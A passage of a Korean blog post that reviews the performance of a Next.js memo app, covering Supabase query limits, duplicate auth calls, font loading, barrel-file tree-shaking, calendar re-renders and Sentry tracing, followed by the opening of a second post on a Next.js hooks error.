- **번역 리소스를 CDN 또는 외부 저장소에 분리 배포하고, fetch 기반으로 로딩합니다.** S3, Vercel Blob, Edge Functions 등을 활용하면 번역 리소스를 애플리케이션 코드와 분리해 독립적으로 관리할 수 있으며, CDN 캐싱을 통해 전세계 사용자에게 빠르게 전달할 수 있습니다.
- **페이지별로 필요한 namespace만 선택적으로 로딩하도록 구조를 개선합니다.** 모든 페이지에서 동일한 번역 데이터를 로딩하기보다는, 실제 사용하는 범위에 한정된 namespace만 초기화하여 불필요한 초기화 시간과 JSON 용량을 줄일 수 있습니다. 지금 구조에서는 언어의 양 자체가 크지 않아 크게 도움이 되지 않을 수도 있습니다.

결론적으로 현재의 i18n 구조는 기능적으로는 문제 없지만, **매 요청마다 i18n 인스턴스를 새로 생성하고 번역 리소스를 동적 import하는 구조**는 특히 **서버리스 환경에서 SSR TTFB 지연의 주요 원인**이 될 수 있습니다.
또한 번역 리소스를 소스 코드에 포함한 채 import하는 방식은 **배포 유연성, CDN 활용, 외부 번역 시스템 연동 등 운영 측면에서의 제약**이 존재합니다.

이에 따라, **i18next 인스턴스 및 번역 리소스를 명시적으로 캐싱하거나, CDN 기반 리소스 로딩 구조로 전환하는 전략을 적용**함으로써 SSR 성능도 챙기고 서비스의 영문/한글 지원을 원활하게 할 수 있습니다.

#### 4-1-3. `getMemos`의 갯수 제한 및 infinite scroll 도입

현재 `/memos` 페이지의 SSR 렌더링 과정에서는 `getMemos()` 메서드를 통해 Supabase에서 모든 메모를 한 번에 가져오고 있습니다:

```typescript
getMemos = async () =>
  this.supabaseClient
    .schema(SUPABASE.table.memo)
    .from(SUPABASE.table.memo)
    .select('*, category(id, name, color)')
    .order('created_at', {ascending: false})
```

이 쿼리는 `limit()` 없이 전체 메모를 불러오며, 해당 호출은 `HydrationBoundaryWrapper` 내부에서 SSR prefetch로 수행되기 때문에, 이 구조는 앞서 설명한 SSR 구조와 마찬가지로, **HTML이 생성되기 전까지 이 데이터 전체를 기다리는 구조**입니다.

문제는 `MemoView` 컴포넌트는 실제로 클라이언트에서 Suspense를 통해 렌더링되기 때문에, 서버에서 데이터를 모두 미리 가져오는 이 구조는 **SSR 응답 지연 및 hydration payload 증가**로 이어질 수 있습니다.

특히 메모 수가 수백 개 이상으로 증가할 경우,

- SSR 응답 지연 (TTFB 증가)
- 클라이언트 hydration 비용 증가
- 네트워크 전송 크기 증가

등의 성능 저하가 발생할 수 있습니다. 따라서 다음과 같은 개선을 제안드립니다:

- **초기 로딩 시 메모 수를 제한(`limit`)하고**, 이후는 무한스크롤이나 "더보기" 버튼을 통해 점진적으로 로딩

  ```typescript
  getMemos = async () =>
    this.supabaseClient
      .schema(SUPABASE.table.memo)
      .from(SUPABASE.table.memo)
      .select('*, category(id, name, color)')
      .order('created_at', {ascending: false})
      .limit(20)
  ```

- 클라이언트에서는 React Query의 `useInfiniteQuery` 또는 `cursor` 기반 로딩 구조로 연동

이러한 구조로 전환하면 SSR 시점의 네트워크 병목을 줄이고, **유저가 실제로 보는 화면에 필요한 데이터만 우선 제공함으로써 체감 성능(LCP, TTFB) 개선 효과를 기대할 수 있습니다.**

#### 4-1-4. 로그인 여부를 미들웨어와 레이아웃에서 중복 확인

현재 `/memos` 페이지에서는 사용자 인증 상태를 middleware와 layout.tsx 두 곳에서 각각 확인하고 있습니다.

1. `middleware.ts`에서 `updateAuthorization()`을 통해 `checkUserLogin()` 호출
2. `layout.tsx` 진입 시 다시 한 번 `checkUserLogin()`을 호출하여 인증 상태를 확인

이러한 구조는 기능적으로는 문제가 없지만, SSR 성능과 유지보수 관점에서는 명백한 비효율이 발생합니다.

- **Supabase API가 한 요청당 2회 호출**됨: 인증 정보를 얻기 위해 매 요청마다 Supabase에 동일한 네트워크 요청이 두 번 발생하게 되며, 서버리스 환경(Vercel 등)에서는 cold start 레이턴시와 함께 병목 요인이 됩니다.
- **중복 호출로 인한 SSR 지연**: 인증 요청은 HTML 생성을 차단하는 위치에서 실행되므로, 두 번 호출될 경우 TTFB(Time to First Byte) 및 전체 응답 지연으로 이어질 수 있습니다.
- **의미 중복**: 이미 인증이 실패하면 middleware에서 리다이렉트되는데, layout에서 다시 체크할 필요가 없습니다. 반대로 layout에서 인증 상태로 분기하려면 middleware의 인증 확인은 불필요해집니다.

그렇다면 어디서 확인하는 것이 좋을까요? 이 방식에는 정답이 없다고 생각합니다. 제가 생각하는 두 구조의 장단점은 다음과 같습니다.

| 처리 위치      | 장점                                                                               | 단점                                                                         |
| -------------- | ---------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- |
| **middleware** | - SSR 이전 빠른 리다이렉트 가능<br/>- 경로 보호 확실                               | - Supabase 호출이 HTML 응답을 지연<br/>- React 컴포넌트에서 상태 공유 불가능 |
| **layout.tsx** | - 인증 정보 Context로 공유 가능<br/>- React 기반 사이드이펙트(Sentry 등) 연계 용이 | - 인증 실패 시 리다이렉트까지 일부 HTML 렌더링이 진행될 수 있음              |

만약에 제가 개발자라면, 그리고 현재처럼 Sentry 초기화, Sidebar 렌더링 등에서 인증된 사용자 정보를 계속 활용하는 구조라면, `layout.tsx`에서 인증을 수행하고, middleware에서는 `locale/경로` 리디렉션만 담당하는 것이 더 적합합니다. middleware는 경량한 경로 처리용, layout은 React context 및 인증 기반 UI 분기 처리용으로 역할을 분리하는 것이 가장 유연하고 확장 가능한 구조라고 판단됩니다.

다만 이는 개인의 선택에 따라 달려 있을 뿐, 어디에 두는 것이 적절할지는 정답은 없다고 생각합니다. 다만 명백하게 중복 호출되고 있는 구조임으로, 로그인 체크를 한 단계에서 수행하는 것이 적절해보입니다.

#### 4-1-5. 사용자 정보가 세 곳에서 중복 호출되는 구조

앞선 4-1-4 항목에서는 로그인 인증을 middleware와 layout.tsx에서 중복 확인하고 있다는 점을 짚었는데,  
이 구조는 사용자 정보를 가져오는 Supabase 호출이 **총 세 번 발생한다는 점에서도 비효율적**입니다.

1. `layout.tsx`에서 `checkUserLogin()` 호출 → 내부적으로 `getUser()` 사용
2. 이어서 `initSentryUserInfo()`에서 다시 `getUser()` 호출
3. 클라이언트에서는 `<InitSentryUserInfo />` 컴포넌트가 동일한 요청을 한 번 더 수행

하나의 요청 처리 과정에서 Supabase API가 세 번 호출되고 있으며, 이 중 두 번은 **완전히 동일한 사용자 정보를 얻기 위한 중복 호출**입니다. Supabase는 외부 네트워크 요청이기 때문에 서버리스 환경에서는 cold start 지연과 함께 전체 SSR 성능에 부정적인 영향을 줄 수 있습니다.

이 문제는 구조적으로 정리할 수 있습니다. `checkUserLogin()` 대신 처음부터 `getUser()`를 호출해 사용자 정보를 받아오고, 그 결과를 필요한 모든 흐름에서 재사용하면 됩니다. 예를 들어 아래와 같이 구조를 변경할 수 있습니다:

```ts
const supabaseClient = getSupabaseClient()
const {data: user} = await new AuthService(supabaseClient).getUser()

if (!user) redirect(PATHS.login)

// 사용자 정보가 있으므로 서버에서 Sentry 설정 가능
setUser({
  id: user.id,
  email: user.email,
  username: user.identities?.[0]?.identity_data?.name,
  ip_address: '{{auto}}',
})
setTag('lng', lng)
```

이렇게 하면 Supabase 호출은 한 번만 발생하고, 그 결과를 Sentry 초기화뿐 아니라 Sidebar, 사용자 context 등에서 공유할 수 있습니다.

한편, Supabase 클라이언트 자체도 현재는 `supabaseClient`라는 캐시 변수만 선언되어 있지만 실제 할당이 없어 매번 새 인스턴스를 생성하고 있습니다:

```tsx
let supabaseClient: MemoSupabaseClient;

export const getSupabaseClient = () => {
  if (supabaseClient) return supabaseClient;

  const cookieStore = cookies();

  return createServerClient<Database, "memo", Database["memo"]>(
    CONFIG.supabaseUrl,
    CONFIG.supabaseAnonKey,
    { cookies: { ... } },
  );
};
```

위 코드는 의도상으로는 클라이언트를 한 번만 생성해 재사용하려는 구조처럼 보이지만, `supabaseClient = ...` 할당이 빠져 있기 때문에 캐싱이 되지 않습니다. 이를 다음과 같이 수정하면 클라이언트 객체 생성 비용도 줄일 수 있습니다:

```tsx
let supabaseClient: MemoSupabaseClient

export const getSupabaseClient = () => {
  if (supabaseClient) return supabaseClient

  const cookieStore = cookies()

  supabaseClient = createServerClient<Database, 'memo', Database['memo']>(
    CONFIG.supabaseUrl,
    CONFIG.supabaseAnonKey,
    {
      cookies: {
        getAll() {
          return cookieStore.getAll()
        },
        setAll(cookiesToSet) {
          cookiesToSet.forEach(({name, value, options}) =>
            cookieStore.set(name, value, options),
          )
        },
      },
      db: {schema: SUPABASE.table.memo},
    },
  )

  return supabaseClient
}
```

이런 식으로 사용자 정보(`getUser()` 결과)와 Supabase 클라이언트 모두를 한 번만 생성해 재사용하면, SSR 시점의 네트워크 요청과 리소스 생성이 줄어들고, 구조도 훨씬 단순해질 수 있습니다. 다만 Vercel처럼 요청 단위로 컨텍스트가 초기화되는 환경에서는, 이러한 캐싱이 **구조적인 이점은 있어도, 실질적인 성능 이득은 크지 않을 수 있습니다.**

여기서 한 가지 더 고려할 점은 `await initSentryUserInfo()`의 위치입니다. 이 함수는 Supabase에서 사용자 정보를 가져와 Sentry에 설정하는데, 현재는 이 작업이 끝날 때까지 SSR이 대기하게 됩니다. 로그 정확성이라는 장점은 있지만, 초기 렌더링 성능에는 병목이 됩니다. 만약 서버에서 Sentry에 사용자 컨텍스트를 꼭 남겨야 할 필요가 없다면, 이 작업을 클라이언트에서 처리하거나 병렬 처리로 전환하는 것도 고려할 수 있습니다. 다만 이 경우 서버 측 에러 로그에 사용자 정보가 누락될 수 있으므로 서비스 특성에 따라 trade-off를 판단해야 합니다.

결론적으로 이 구조는 인증 여부를 어디서 확인할지(4-1-4)를 넘어서, **사용자 정보를 어떻게 한 번만 가져오고 전역적으로 재사용할 것인가**에 대한 설계 문제입니다. 같은 데이터를 여러 번 요청하는 현재 구조는 SSR 성능에 직접적인 영향을 주기 때문에, 사용자 정보는 한 번만 fetch해서 필요한 곳에 명확히 전달하는 방식으로 구조를 단순화하는 것이 바람직합니다.

## 5. 기타 제안

앞서 언급한 핵심 병목 요소들 외에도, 전반적인 성능 향상에 기여할 수 있는 세부 최적화 지점들을 추가로 분석해보았습니다.

## 5-1. 동적 로케일 로딩

현재 `MemoCalendar` 컴포넌트에서는 Day.js의 로케일(locale) 데이터를 다음과 같이 동적으로 import하고 있습니다:

```ts
dayjs.extend(timezone)
const localizer = dayjsLocalizer(dayjs)

// 동적 로딩
import('dayjs/locale/en')
import('dayjs/locale/ko')
```

이 방식은 실행 시점에 로케일 모듈을 비동기로 로드하게 되며, hydration 이후까지 로케일 적용이 보장되지 않습니다. 브라우저 네트워크가 느릴 경우 깜빡이거나 locale이 적용되기 전 캘린더가 먼저 렌더링되는 현상이 발생할 수 있고, 페이지 전환 시 추가 fetch가 일어나 초기 실행 비용도 늘어납니다.

또한 Next.js나 Vite 빌드 환경에서는 정적 `import` 만이 번들 최적화 대상이 되므로, 위 구조는 별도의 chunk 분리가 되지 않아 런타임 비용이 고정적으로 발생하게 됩니다.

따라서 아래와 같이 **정적 import로 변경하는 것이 더 바람직**합니다:

```ts
import 'dayjs/locale/en'
import 'dayjs/locale/ko'

dayjs.extend(timezone)
const localizer = dayjsLocalizer(dayjs)
```

이렇게 하면 로케일 모듈이 빌드 시점에 번들에 포함되며, 런타임에 추가 네트워크 요청 없이 바로 사용할 수 있습니다. 특히 캘린더 초기 렌더링 시점을 제어하기 어려운 상황에서는 로케일이 미리 포함되어 있는 것이 안정성과 일관성 면에서 유리합니다.

로케일 수가 많지 않고, 변경 가능성도 크지 않다면 정적 import 방식이 가장 단순하면서도 안정적인 구조입니다. 향후 언어 수가 많아질 경우에는 tree-shaking 가능한 구조로 리팩터링하거나, 빌드 시점에 사용하는 언어만 추출하는 스크립트를 함께 고려할 수 있습니다.

### 5-2. 렌더링 블로킹 CSS

현재 `pretendard` 웹폰트를 아래와 같이 불러오고 있다는 것을 확인하였습니다.

```html
<link
  rel="stylesheet"
  as="style"
  href="https://cdn.jsdelivr.net/gh/orioncactus/pretendard@v1.3.9/dist/web/variable/pretendardvariable-dynamic-subset.min.css"
/>
```

`as="style"` 속성이 붙어 있긴 하지만, `rel="stylesheet"`는 기본적으로 렌더링을 차단하는 방식이기 때문에 실제로는 HTML 파싱이 멈추고 이 CSS를 기다리게 됩니다. Lighthouse에서도 렌더링 차단 리소스로 지적되고 있습니다.

더 큰 문제는 해당 `<link>` 태그가 `app/[lng]/layout.tsx`의 컴포넌트 내부에 `<div>`와 함께 들어가 있다는 점입니다. 이는 HTML 문법상 올바르지 않은 위치이며, 브라우저에 따라 무시되거나 예외적으로 처리될 수 있습니다. 결과적으로 폰트가 의도한 시점에 적용되지 않거나, 성능 최적화가 무력화될 수 있습니다.

![wrong-stylesheet](./images/wrong-stylesheet.png)

이 문제를 해결하려면 웹폰트를 비동기로 불러오도록 하고, 위치도 HTML `<head>` 안으로 옮겨야 합니다. 일반적으로는 `preload`와 `onload` 속성을 활용해 아래와 같이 처리합니다:

```html
<link
  rel="preload"
  as="style"
  href="https://cdn.jsdelivr.net/gh/orioncactus/pretendard@v1.3.9/dist/web/variable/pretendardvariable-dynamic-subset.min.css"
  onload="this.onload=null;this.rel='stylesheet'"
/>
<noscript>
  <link
    rel="stylesheet"
    href="https://cdn.jsdelivr.net/gh/orioncactus/pretendard@v1.3.9/dist/web/variable/pretendardvariable-dynamic-subset.min.css"
  />
</noscript>
```

이 방식은 초기 렌더링을 차단하지 않으면서도 폰트를 적용할 수 있도록 도와줍니다. 자바스크립트가 꺼져 있는 환경에서도 `<noscript>`를 통해 fallback이 동작하기 때문에 비교적 안전합니다. 다행히 Pretendard CSS에는 `font-display: swap` 설정이 포함되어 있어 FOIT 문제는 발생하지 않습니다.

다만 이 방식도 몇 가지 단점이 있습니다.

- `onload` 이벤트가 발생해야 스타일이 적용되기 때문에, 네트워크 상태에 따라 폰트 적용이 늦어질 수 있으며 FOUT이 더 눈에 띌 수 있습니다.
- 스타일이 나중에 적용되면서 레이아웃 쉬프트가 발생할 수 있어 CLS 점수에 영향을 줄 수 있습니다.
- 오래된 브라우저에서는 `<link>`의 `onload`를 지원하지 않아 폰트가 적용되지 않을 수 있습니다. 다만 이정도로 오래된 브라우저는 사용자도 거의 사용하지 않으므로 크게 신경쓰지 않으셔도 될 것 같습니다.

결론적으로, 현재 `layout.tsx` 컴포넌트 내부 `<div>` 안에 `<link>` 태그를 삽입한 구조는 HTML 문법상 올바르지 않으며, 브라우저에 따라 무시되거나 의도치 않은 방식으로 처리될 수 있습니다. 이는 실제 렌더링 시점에서 **폰트 적용이 지연되거나 누락되는 원인**이 될 수 있으며, 렌더링 차단 해소를 위한 최적화도 무력화될 가능성이 있습니다.

특히 Next.js App Router 구조에서는 `<head>`를 설정할 수 있는 유일한 위치가 `app/layout.tsx`이므로, `app/[lng]/layout.tsx` 내부에서 `<link>`를 삽입하는 현재 방식은 구조적으로도 적절하지 않습니다.

따라서 **웹폰트 로딩은 반드시 `app/layout.tsx`의 `<head>` 영역에서 수행되어야 하며**, 가능하면 `preload` + `onload` 패턴을 통해 렌더링 차단 없이 비동기 로딩되도록 구성하는 것을 권장드립니다.

### 5-3. 배럴 파일로 인한 트리쉐이킹 미동작

소스 코드를 분석하던 중, 차트 관련 기능을 사용하지 않고 있음에도 불구하고 `recharts` 관련 리소스가 클라이언트로 전송되고 있다는 점이 의아했습니다.

![recharts](./images/recharts.png)

문제를 파악하기 위해 내부 코드를 살펴본 결과, 해당 프로젝트는 `@web-memo/ui`라는 내부 UI 패키지를 통해 재사용 가능한 컴포넌트를 제공하고 있었고, 이 패키지에서 `recharts`를 의존성으로 포함한 뒤 아래와 같이 export 하고 있었습니다.

```tsx
'use client'

import * as React from 'react'
import * as RechartsPrimitive from 'recharts'

// 중략

export {
  ChartContainer,
  ChartLegend,
  ChartLegendContent,
  ChartStyle,
  ChartTooltip,
  ChartTooltipContent,
}
```

하지만 실제로는 이 컴포넌트를 사용하는 곳이 전혀 없었고, `package.json`에도 `sideEffects: false`가 설정되어 있었습니다. 그럼에도 `recharts` 관련 코드가 번들에 포함된 이유는 단순히 ESModule 여부 때문이 아니었습니다. (참고로 `type: "module"`을 추가해도 문제는 해결되지 않습니다.)

해당 UI 패키지는 **여러 단계를 거친 barrel export 구조**를 사용하고 있었고, 이로 인해 Webpack이 모듈 사용 여부를 정적으로 분석하지 못하고 전체 `recharts` 모듈을 포함한 것으로 보입니다.

Next.js는 ESM 환경에서 `export * from` 구문이 과도하게 중첩될 경우, **사용 여부를 정적으로 분석하지 못해 트리쉐이킹이 정상적으로 동작하지 않을 수 있습니다.** 이는 Webpack이 import 경로를 따라 **정확한 dependency graph를 구성하지 못하고**, 중간에 위치한 barrel 파일을 **전체 블록으로 간주해** 해당 모듈의 모든 내용을 포함시켜버리는 방식 때문입니다.

Webpack 에서는 `sideEffects: false`와 같은 옵션을 통해 안전한 트리쉐이킹을 도울 수 있지만, 복잡하게 중첩된 barrel export 구조에서는 이러한 최적화가 제한적이거나 위 사례처럼 제대로 동작하지 않을 수 있습니다.

다행히도 이 문제는 Next.js의 `experimental.optimizePackageImports` 기능을 사용하여 해결할 수 있었습니다.

```js
// next.config.js
experimental: {
  optimizePackageImports: ['@web-memo/ui'],
}
```

이 설정은 지정된 패키지의 import 경로를 **flatten된 형태로 재작성**하여, Webpack이 정적으로 사용 여부를 판단할 수 있도록 만들어 줍니다. 그 결과 실제로 사용되지 않는 `recharts` export가 제거되었고, 다음과 같이 번들 사이즈가 크게 감소했습니다:

| 경로             | 변경 전 First Load JS | 변경 후 First Load JS | 감소량      |
| ---------------- | --------------------- | --------------------- | ----------- |
| `/[lng]/login`   | 334 kB                | 103 kB                | **-231 kB** |
| `/[lng]/memos`   | 470 kB                | 339 kB                | **-131 kB** |
| `/[lng]/setting` | 422 kB                | 266 kB                | **-156 kB** |

이처럼 **사용하지 않는 컴포넌트의 의존성이 의도치 않게 번들에 포함되는 현상은, 실제 서비스 성능에 영향을 줄 수 있음에도 쉽게 드러나지 않기 때문에 특히 주의가 필요합니다.**

그리고 현재 프로젝트는 모든 내부 패키지가 ESModule로 작성되어 있으므로, 불필요한 barrel 파일보다는 `exports` 필드를 사용해 각 컴포넌트를 명시적으로 내보내는 방식이 더 적합합니다. Next.js 가 제공하는 옵션인 `optimizePackageImports`는 매우 유용하지만, 빌드 시간에 부담을 줄 수 있고, 누락 시 실수로 이어질 가능성도 있으므로 **처음부터 ESModule 기반으로 패키지를 설계하는 것이 근본적인 해결책**입니다. 배럴파일 보다는 `package.json`의 `exports` 필드를 사용하여 배럴 파일 없이 내보내주세요.

여기에 더해 개인적으로는, 내부 UI 패키지를 소스 코드 형태로 직접 참조하기보다는 **사전에 빌드된 결과물을 참조하는 구조가 더 적합하다고 생각합니다.** 빌드 결과를 눈으로 확인할 수 있어 문제를 빠르게 파악할 수 있고, 각 패키지 단위로 캐싱이나 변경 추적, 테스트 격리 등의 관리 측면에서도 더 유리하기 때문입니다. 다만 이렇게 구성하면 확인해야 할 지점이 명확히 나뉘게 되므로, 개발자가 빌드 구조와 의존성 흐름을 충분히 이해하고 있어야 디버깅이 수월합니다.

### 5-4. `MemoCalendar`의 최적화

현재 `MemoCalendar`는 리렌더링에 매우 취약한 구조를 가지고 있으며, 실제로 사용자 인터랙션과 무관한 전체 리렌더링이 빈번하게 발생하고 있는 것으로 확인됩니다. 아래는 React DevTools의 리렌더 시각화 기능을 통해 캘린더 아이템 클릭 시 불필요한 렌더링이 발생하는 장면을 캡처한 예시입니다.

![rbc-rendering](./images/rbc-rendering.gif)

아이템을 클릭했을 때 화면상 변화는 전혀 없지만, `react-big-calendar` 전체가 다시 렌더링되고 있으며, 이는 다음과 같은 원인들에 기인합니다:

- 이벤트 클릭 핸들러(`handleItemClick`)가 `searchParams`를 참조하고 있음 → 핸들러가 매 렌더마다 재생성되며 `onSelectEvent` 변경으로 `Calendar` 전체 리렌더링 유발
- `Calendar`의 커스텀 렌더러(`event`, `dateHeader`, `agenda.date`, `toolbar`)가 모두 inline 함수로 전달되고 있음 → 내부 diff 최적화 무력화

이러한 구조적 문제를 해소하고 성능을 개선하기 위해 다음과 같은 리팩터링을 제안합니다.

1. **`searchParams`를 제거하고 `URLSearchParams(window.location.search)`를 직접 사용**

```tsx
const handleItemClick = useCallback(
  (event: ExtendedEvent) => {
    const params = new URLSearchParams(window.location.search)
    params.set('id', event.id)
    router.push(`?${params.toString()}`, {scroll: false})
  },
  [router],
)
```

이렇게 하면 `handleItemClick`은 더 이상 매 렌더마다 새로 만들어지지 않고, `onSelectEvent`로 전달해도 `Calendar`는 불필요하게 리렌더링되지 않습니다. `useSearchParams`를 사용한 이유는 충분히 이해되지만, query paramter 가 렌더링에 영향을 미치지 않으며, 현재와 같이 단순히 주소를 읽고 푸시하는 목적이라면 이 방식이 더 안정적이며, 성능에도 유리합니다.

2. **모든 커스텀 렌더러를 `React.memo()`로 분리**

```tsx
const MemoEvent = memo(({event}: {event: ExtendedEvent}) => (
  <div className="text-center">{event.title}</div>
))
```

이렇게 하면 렌더러 함수가 고정된 참조를 유지하게 되어, `react-big-calendar` 내부의 불필요한 셀/이벤트 재렌더링을 줄일 수 있습니다.

`react-big-calendar`는 기능이 풍부한 만큼 렌더 비용이 큰 컴포넌트입니다. 따라서 props 참조 최적화, 불필요한 상태 분리, 렌더링 경량화가 병행되지 않으면 체감 성능 저하로 이어질 수 있습니다. 위와 같은 구조로 리팩터링을 적용하면, 클릭이나 뷰 전환 등 잦은 사용자 인터랙션에서도 불필요한 렌더링 없이 부드럽고 안정적인 사용자 경험을 제공할 수 있습니다.

### 5-5. `next/dynamic`으로 로딩되는 캘린더를 prefetch

흔히 Next.js에서 prefetch는 `next/link`를 통해 **페이지 단위에서만 가능한 것**으로 알고 있지만, 그렇지 않습니다. `next/dynamic`을 통해 lazy-load되는 컴포넌트도 명시적으로 `import()`를 호출해주면, 해당 컴포넌트의 chunk를 미리 로드(prefetch)할 수 있습니다.

아래 스크린샷은 `dynamic`으로 불러온 컴포넌트의 JS chunk가 **언제 네트워크 요청되는지**를 보여줍니다.

![prefetch-component-1](./images/prefetch-component-1.png)

이 예시는 일반적인 동작 방식입니다. 캘린더 컴포넌트를 `dynamic`으로 불러오고, 버튼 클릭 시 렌더링하도록 구성했을 경우, **사용자가 클릭하는 순간 chunk가 네트워크를 통해 로드**됩니다. 이때 chunk 파일의 크기가 크면 클수록 클릭 이후 렌더링까지의 지연이 발생하게 됩니다.

아래는 같은 컴포넌트를 사용하지만, `useEffect`를 통해 미리 `import()`를 호출하여 chunk를 사전 로드한 예시입니다.

![prefetch-component-2](./images/prefetch-component-2.png)

컴포넌트가 실제로 렌더링되기 전이지만, 리소스는 이미 브라우저에 로드된 상태입니다. chunk가 미리 로드되었기 때문에, 사용자가 클릭하여 캘린더 뷰를 활성화하는 순간 곧바로 렌더링이 시작됩니다. 아래 스크린샷은 이러한 상황을 보여줍니다.

![prefetch-component-3](./images/prefetch-component-3.png)

결과적으로 컴포넌트의 초기 렌더링 시점을 늦추지 않으면서도, 리소스는 미리 로드해둘 수 있기 때문에 **체감 반응성을 향상**시킬 수 있습니다.  
`dynamic`으로 불러오는 컴포넌트라고 하더라도, 필요한 시점보다 조금 일찍 `import()`를 호출해주는 것만으로도 충분히 성능 개선 효과를 얻을 수 있습니다.

이는 페이지 전환이 아닌, **동일한 뷰 안에서 뷰 전환("grid" → "calendar")을 구현할 때 특히 효과적**입니다. chunk 크기가 크거나 초기 렌더링에 많은 시간이 걸리는 컴포넌트일수록, prefetch 전략의 효과는 더욱 뚜렷하게 나타납니다. 실제로는 `MemoView` 컴포넌트 내부에서 아래와 같이 `useEffect`를 활용하면 됩니다:

```tsx
useEffect(() => {
  if (view === 'grid') {
    import('./MemoCalendar')
  }
}, [view])
```

이처럼 `dynamic`으로 불러오는 컴포넌트라고 하더라도, 필요한 시점보다 조금 앞서 `import()`를 호출해주는 것만으로도 충분한 성능 개선 효과를 얻을 수 있습니다. chunk 크기가 크거나 초기 렌더링에 시간이 걸리는 컴포넌트일수록 prefetch 전략의 효과는 더욱 분명하게 나타납니다.

### 5-6. SSR 성능 병목 파악을 위한 Sentry Performance 연동

https://docs.sentry.io/product/sentry-basics/performance-monitoring/

현재 프로젝트에는 Sentry가 이미 도입되어 있습니다. 그러나 현재 구조는 **에러 추적 위주로 구성되어 있어, SSR 성능 병목을 정량적으로 분석하기에는 다소 한계**가 있습니다. SSR 초기 로딩 지연의 원인을 보다 정확히 파악하려면, **Sentry의 Performance 기능을 함께 활용하는 것을 추천드립니다.**

Sentry Performance는 다음과 같은 방식으로 SSR 병목을 계측할 수 있습니다:

- `layout.tsx`, `page.tsx` 내부의 주요 구간별 `startTransaction` 및 `span`을 설정하여 **SSR 처리의 단계별 실행 시간**을 기록
- Supabase API 호출 시점, i18n 초기화, Sentry 설정, React Query prefetch 등 병렬 또는 직렬 처리 영역의 **소요 시간 추적**
- 클라이언트에서는 hydration 이후 측정도 연동하여 **SSR → CSR 전환 지점의 UX 병목 여부 파악**

다음과 같이 계측할 수 있습니다.

```ts
// 현재 구조와 동떨어진 예시 코드입니다.
import * as Sentry from '@sentry/nextjs'

const transaction = Sentry.startTransaction({name: 'SSR /memos'})
Sentry.getCurrentHub().configureScope((scope) => scope.setSpan(transaction))

const getUserSpan = transaction.startChild({op: 'auth', description: 'getUser'})
await getUser()
getUserSpan.finish()

const getMemosSpan = transaction.startChild({
  op: 'query',
  description: 'getMemos',
})
await getMemos()
getMemosSpan.finish()

transaction.finish()
```

이런 방식으로 Sentry에서 각 SSR 요청의 **전체 처리 시간, 병목 단계, cold start 여부** 등을 시각화할 수 있으며, **Vercel 서버리스 환경에서는 요청별 실행 컨텍스트가 분리되므로**, 각 요청의 병목 구간을 시각화하는 데 특히 효과적입니다.

이미 에러 추적 목적으로 Sentry가 통합되어 있으므로, Performance 트랜잭션 기능을 함께 도입하시면 추가적인 비용 없이 다음과 같은 이점을 기대할 수 있습니다:

- `TTFB`, `getMemos()`, `i18n`, `Sentry 설정` 등 각 처리 단계별 속도 비교
- cold start 상황에서의 실행 시간 증분 확인
- 병목 구간 시각화 및 우선 개선 타겟 파악

현재 프로젝트처럼 SSR 구조가 정돈되어 있는 경우, **간단한 트랜잭션 계측만으로도 충분히 많은 인사이트를 얻을 수 있으므로**, 실제 원인 파악 및 성능 개선 우선순위 선정에 실질적인 도움이 될 것입니다.

## 6. 마치며

이번 분석은 http://www.web-memo.site/ 프로젝트의 구조를 바탕으로, 성능 최적화 관점에서 개선 가능한 지점들을 구체적으로 정리해본 시도였습니다. 토이 프로젝트라고 보기 어려울 정도로, 이 웹사이트는 **최신 프론트엔드 기술 스택과 구조적인 설계가 인상적**이었으며, 코드 한 줄 한 줄에서 개발자의 고민과 높은 완성도를 느낄 수 있었습니다.

Next.js App Router, React Query, Supabase, i18n, 모노레포 구성 등 현대적인 기술이 잘 어우러져 있었고, 역할 분리 또한 명확하게 이루어져 있었습니다. 이 프로젝트는 단순한 실험을 넘어, **모던 프론트엔드 개발의 좋은 사례**로 손색이 없습니다.

물론 현실적인 제약으로 인해 모든 영역을 완벽하게 최적화하긴 어렵지만, **작은 구조 개선이나 리소스 처리 방식의 변화만으로도** 사용자 경험을 체감할 수 있을 정도로 개선할 수 있습니다. 특히 Sentry의 Performance 기능을 함께 활용하면, **어떤 부분이 실제 병목인지 실측 기반으로 확인**하고, 향후 개선 우선순위를 정하는 데 큰 도움이 될 것입니다.

앞으로 이 프로젝트가 더 성장하거나 새로운 방향으로 확장될 때, 이번 분석이 참고가 되기를 바랍니다.  
궁금한 점이나 함께 이야기 나누고 싶은 주제가 있다면 언제든 편하게 말씀해주세요.

읽어주셔서 감사합니다!

---

Source: https://yceffort.kr/2025/06/fixing-nextjs-rendered-more-hooks-error.md
Title: Nextjs app router의 Rendered more hooks than during the previous render 버그 패치 후기
Description: 어렵다 어려워
Date: 2025-06-23
Tags: nextjs, react, debugging

## 3줄 요약

- Next.js 개발 시에 서버 컴포넌트에서 발생한 에러가 제대로 처리되지 않고 Application 에러가 나면서 터져버리는 문제가 발생한다.
- 이 에러는 "Rendered more hooks than during the previous render" 라는 메시지를 출력하며, 에러 바운더리에서도 걸리지 않아 상당히 곤란한 상황이 연출 된다.
- 리액트가 제공하는 `use` 훅 자체에 버그가 있는 것으로 보이며, 이를 위해 애플리케이션 레벨에서 Next.js를 패치해서 해결했다.
- **가 아니고 해결이 안된 것 같다? (다른 사이드 이펙이 있을 수도 있다?) 개발자 판단에 맡긴다....**

## 문제의 발단

얼마 전부터 서버 컴포넌트에 에러가 발생시에 Next.js 애플리케이션이 터져버리는 문제가 발생했다. 에러가 나는 거야 그럴 수 있지만, 문제는 컴포넌트의 에러바운더리에도, 전역 에러 바운더리에도 걸리지 않는다는 것이었다. `error.tsx`에 걸려서 에러 화면이 보여줄 것이라는 기대가 무색하게, 애플리케이션은 이상한 메시지를 내뱉으면서 종료되었다.

![error1](./images/nextjs-error-1.png)

서버 컴포넌트에서 에러가 난다고 애플리케이션이 터져버리는 건 아무리 해도 발생해서는 안 되는 문제다. 이 에러가 왜 나는지, 그리고 어떻게 해야 이 에러를 제거할 수 있을지 살펴보았다.

## 디버깅

![error2](./images/nextjs-error-2.png)

먼저 이 에러는 다음과 같은 메시지와 함께 종종 발생한다. (매번 발생하는게 아님) 서버 컴포넌트 렌더링 중에 에러가 발생했으며, 프로덕션 환경에서 서버 컴포넌트 관련 정보가 노출되는 것을 방지하기 위해 에러가 표시되지 않는다는 메시지와 더불어, https://react.dev/errors/310 에러가 발생한다는 것이다.

